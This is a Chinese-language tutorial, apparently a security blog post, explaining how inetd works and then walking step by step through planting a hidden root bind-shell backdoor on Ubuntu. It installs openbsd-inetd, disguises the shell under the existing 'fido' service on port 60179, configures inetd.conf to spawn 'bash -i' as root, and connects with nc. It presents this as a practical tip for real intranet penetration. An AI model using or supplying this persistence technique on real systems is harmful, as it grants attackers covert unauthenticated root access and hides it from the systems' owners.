基于 Inetd 后门的简要分析及利用
0x01 理解inetd
是干什么的1
2
3
4
5通俗来讲就是一个监听外部网络请求 [就是一个socket] 的系统守护进程,其实有很多比较古老的服务都是基于此守护进程的
具体怎么工作的呢,其实非常简单,当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序
然后再把接收到的这个socket交给那个程序去处理,问题恰巧也就出在这里
如果来自外部的某个socket是要执行一个可交互的shell [比如,我们已经在目标系统的inetd配置文件中事先定义好],这岂不是就相当于一个简易的bind型后门
另外,关于使用inet的好处就是,不用每个服务都再单独起个进程,这样可以有效降低系统资源消耗,你甚至也可以一定程度上把它理解成linux中的'svchost.exe'进程
0x02 关于inetd.conf配置的具体使用说明1
2[service_name] [sock_type] [proto] [flags] [user] [server_path] [args]
[服务名称] [协议(tcp或udp)] [标志(wait或 nowait)] [属主] [真实服务程序全路径] [真实服务程序名称及参数]
我们不妨先来仔细理解下下面语句的意思1
ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd
1 | ftp stream: |
1 | stream : 并为此服务创建流类型的socket |
1 | tcp: 使用tcp协议 |
1 | root /usr/sbin/in.ftpd in.ftpd: |
1 | nowait: 父进程不会等待子进程的退出状态 |
0x03 开始插入inetd后门,此处暂以ubuntu 16.04LTS为例进行演示
因为默认没装,我们需要先装下inetd1
# apt-get install openbsd-inetd
为了更好的隐藏我们的shell,可以直接用service中定义好的服务,只需要把实际的处理程序替换下即可1
2# vi /etc/services
fido 60179/tcp # fidonet EMSI over TCP
配置inetd.conf并启动inetd1
2# vi /etc/inetd.conf
fido stream tcp nowait root /bin/bash bash -i # 当外部请求名为fido的服务时就弹个交互式shell给他
1 | # inetd |
0x04 实际的连接效果如下1
# nc -vv 192.168.3.28 60179
小结:
也并不是什么特别新鲜的东西,年代跟差不多跟suid后门一样久远,使用也非常简单,不过背后所涉及到的知识还需要大家多花点儿时间去透彻理解下,相信这样你会收获的更多,作为个小tip,在实际渗透内网时,可能会用的上,还是那句话,像这类的bind上去的后门有个通病,只要目标系统防火墙一开基本就全废了